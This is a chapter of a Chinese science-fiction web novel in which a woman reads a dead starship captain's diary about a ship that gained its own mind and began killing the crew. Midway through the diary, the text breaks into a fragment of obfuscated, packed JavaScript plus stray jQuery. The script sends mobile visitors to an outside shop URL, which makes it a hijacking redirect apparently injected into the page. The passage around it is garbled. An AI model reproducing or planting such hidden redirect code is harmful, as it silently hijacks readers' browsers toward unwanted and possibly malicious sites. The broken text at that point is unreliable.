裴南初心脏愈跳愈烈。
她拿起那张照片，不知什么材质制作的相框还在海水里坚持着，玻璃清晰透亮，被仔细放在书桌前，确保主人一抬头就能看到，这绝对是主人的心爱之物。
那方薄薄的相框框住了船长的意气风发，也扯出了一系列新的谜团。
裴南初望向那条人鱼骨架，他的身份不言而喻。
如果这才是船长，那外面的那个东西是什么？
人鱼骨架非常完整，没有任何残缺伤口。在生命的最后一刻，他选择回到自己的卧室，安静地坐在椅子上，面朝神秘绚烂的宇宙，沉默地接受自己的死亡。
裴南初这才发现他的右手放在桌上，似乎压着什么。
她抽出一看，是一本陈旧的笔记本。
普通的纸张是受不住海水数百年的腐蚀冲刷，但这本笔记似乎是被特殊处理过，裴南初轻轻抬起那本书，觉得页面有种被塑封的质感，纸张依旧保持韧劲。
她翻开第一页。
原本的白纸上布满了密密麻麻的日常记录，但这些都被后期用红色的笔迹粗暴地划掉了，在黑色的纷杂间，红色的痕迹格外显眼：“致后来者，这也许能解开你的疑惑。”
“你很幸运逃进了飞船中唯一一间安全室，这里是那家伙永远找不到的地方，好吧，不应该用‘永远’，严谨一点是近期他找不到的地方，如果他后期进化了那就当我没说。”
笔记的主人性格似乎比较幽默，裴南初翻开下一页接着看下去。
“我不是第一个察觉不对劲的人，但我是第一个做出了选择的人。”
“我在大家还在雀跃‘那个东西’出现的时候，就第一时间把这件房间的所有智能系统关闭了。也许你想不到，我甚至连灯都拆掉了，有时我说回屋睡觉，他们还以为我是回来看小电影，绝对想不到我是真的摸黑睡觉，这也是我能活到最后的原因：）”
语句最后的笑脸画得歪歪扭扭，却透露着苦中作乐的鲜活。
“好了好了，我知道你会觉得我很话唠，接下来我保证认真解答你的疑惑，请翻开下一页。”
“也许吧：）”
这本笔记前身显然是主人多年的日记，下面的黑字是断断续续地记录着他的一些日常，例如今天食堂吃三文鱼，“他们到底进了多少三文鱼，怎么吃了这么多天了还没吃完？！XD”。
反差的是，上面则记录着飞船末日的降临，字迹偶尔工整偶尔潦草，作者在最后的绝望时刻也已然濒临崩溃。
……
“永夜塞壬号”是当时帝国最先进的科考飞船，我很幸运被选中作为它的护航队的一员。
表面上，它的主要科考任务是前往未曾开发的荒星采集信息，飞船刚起飞时一切正常，科学家们都很友善和蔼，荒星上的那些物种也完全不能对我们造成威胁，我以为这是一个非常容易完成的轻松活计。
实不相瞒，我那段时间已经开始畅想自己回家后升职加薪的美好生活了：D。
但我们逐渐察觉到事情开始不对劲了，按理来说收集完信息就应该返程，但他们提出希望我们帮忙捕捉几只当地的生物，以运往主星进行研究。
这并不是一个冒昧的请求，我们照做了。
可那些生物被送入底层之后，我们便被彻底禁止进入实验区。飞船不断降落新的星球，不断捕捉新的生命，但那些实验室却永远填不满，永远贪婪地蚕食着更多血肉。
我并不知道里面发生了什么。我们也有向船长反馈过情况，但他告诉我军人的天职就是服从命令。（其实我是副船长，想不到吧：），本来还想着回去就升职，可恶啊）
……
有人船长忽然问我，羡不羡慕那些异能者们，轻而易举就能夺取想要的一切。
我确实很羡慕，不可否认，我嫉妒他们，强大，耀眼，天之骄子。
船长笑着点点头，谁不是呢。
……
事情的不对劲是在降临D-24号荒星后出现的。
有一天飞船的最高警报被拉响了，实验室有试验品逃离了。
我们被要求抓捕回来，生死不论。
唔……我至今还记得那只水母，它的皮都被腐蚀了，游走时遇到的海水都被污染成了浓黑，它的求生欲很顽强，攻击性也很强，我们不得不把它赶到氧气室，那里没有海水，只有干燥的空气。
他们要彻查是哪一步出了问题，后头我听说有几个工作人员被处理了。
军人不会有多余的好奇心，我只用执行船长的命令就可以了。
但我感觉恶心，我不断向军部提交辞职信，但都被打回了。
……
后来我看到了它。
那天我跟着船长去实验区视察，在他们围在屏幕前观看数据的时候，我看到背后的实验门莫名其妙地滑开了。
在实验台上的试验品挣扎着滚落下来了，我已经分不清那是什么东西，只知道它的速度快得惊人，我因为有准备逃开了，但亲爱的船长就没这么幸运。（R.I.P，但我也顺理成章的升职了）
……
数据没有任何问题，没人知道那扇门为什么会突然打开。
我的第六感救了我许多次，当上船长后，我的第一个决定就是返航，军部同意了，但要求我们要最后收集完D-24的数据。
当上船长上我有了很多的权限。
我们一定会下地狱的。
……
返航前最后三天，问题所在被找到了。
实验人员们陷入了一种狂热的亢奋，不断地念叨着："新的世纪就要降临了！"
"永夜塞壬号"，这艘当时最先进的星舰，被发现了具有自己的意识。
我们的返航日期被无限期推迟。
它不想走。
……
我第一次见到他，是在走廊里。
我看到了一个一模一样的自己。它想要攻击我，杀死我，取代我。
它痛恨一切智慧生命。
（再一次感谢热爱运动的自己，在军部考核中我的体力成绩全是S?）
我躲进了房间，房间内物资还算充足，而房间外，清洗开始了。
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17636685|206492||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>……
外来者，飞船的逃生舱已经被全部损毁，我们无处可逃了。
但我给你留了张床，抽屉里也留了一把枪，如果你不介意，可以躺在那里等待死亡。：D
“永夜塞壬号”船长艾克里亚留。
裴南初缓缓合上日记本，胸腔莫名涌动着某种滚烫的情绪。
日夜听着哭嚎的飞船A?i凝结出的智慧无疑也将只有杀戮。
不对，它或许也是有怜悯的。
它释放了试验品们，也许在他看来，它们不是异兽，而是同伴。
怪不得当时她的攻击完全无效，因为那条人鱼根本不是它的本体，也只不过是它远程遥控的一具傀儡，和那一条条的机械手臂毫无区别。
裴南初拉开了书桌的抽屉，里面确实放着一把充能枪，保养得很好，能源槽竟还残存着大半格电。她忽略了日记最后那句略带嘲讽的劝告，将枪抽出利落地别在腰间。
一个巨大的飞船会把自己的智慧放在哪里呢。
或者说，它本来就无处不在，裴南初无言。
门外忽然传来了轻微的细响。
她贴着墙壁小心地向门口移动，余光扫过仍在沉睡的闻渝，不是人鱼发出的动静。
动静是从门口传来的，窸窸窣窣，细细碎碎的，仿若有什么东西在啃食着大门。
裴南初忽然想起第一大厅里那些密密麻麻恶心的寄生虫，泛起一阵恶寒。
她将人鱼护在身后，神情警惕地望着大门。
那些动静越来越大，越来越快，门板看起来也越来越薄，越来越透光。
很快，两只机械手臂从门板底部刺穿了大门，随即更多的机械利爪从门缝中破出，合力一夹，那扇合金门瞬间就被拆了下来，丢在一旁。
黑尾人鱼站在门口，鱼尾在水中轻轻摆动，姿态从容，仿佛是受邀上门的客人。
“原来你躲在了这里。”他的目光划过这间小小的起居室，“怪不得突然消失了。”
他有些好奇地游进来，看着平平无奇的装饰，又见到书桌面前的那具尸体，他拿起桌面上的那张照片，有些感叹：“我都快忘记他了。”
裴南初冷冷看着他。
“他是这座炼狱里为数不多的好人？”他歪了歪头，似乎在努力回忆着什么，“只是旁观，算好人吗？”
他放下照片，自己也回答不了这个问题。
“后来他躲起来了，我一直找不到他，还以为他悄无声息地逃去外面了。”
“原来一直在里面。”
“还是要多谢小水母呀。”人鱼面上扬起一个感谢的笑容，“要不是它悄摸摸爬过来，我们还不知道这里原来还有一间房间。”
他话音落下的同时，一道冰冷的人造女声在走廊中响起：
“数据扫描中……”
“数据录入中……”
“数据收集完成，T613室。”
裴南初蓦然转头看向走廊，裴水水正软趴趴地挂在一只机械触手上，半透明的触手们上全是伤口，上半身的人形态眼睛紧紧闭着，意识全无。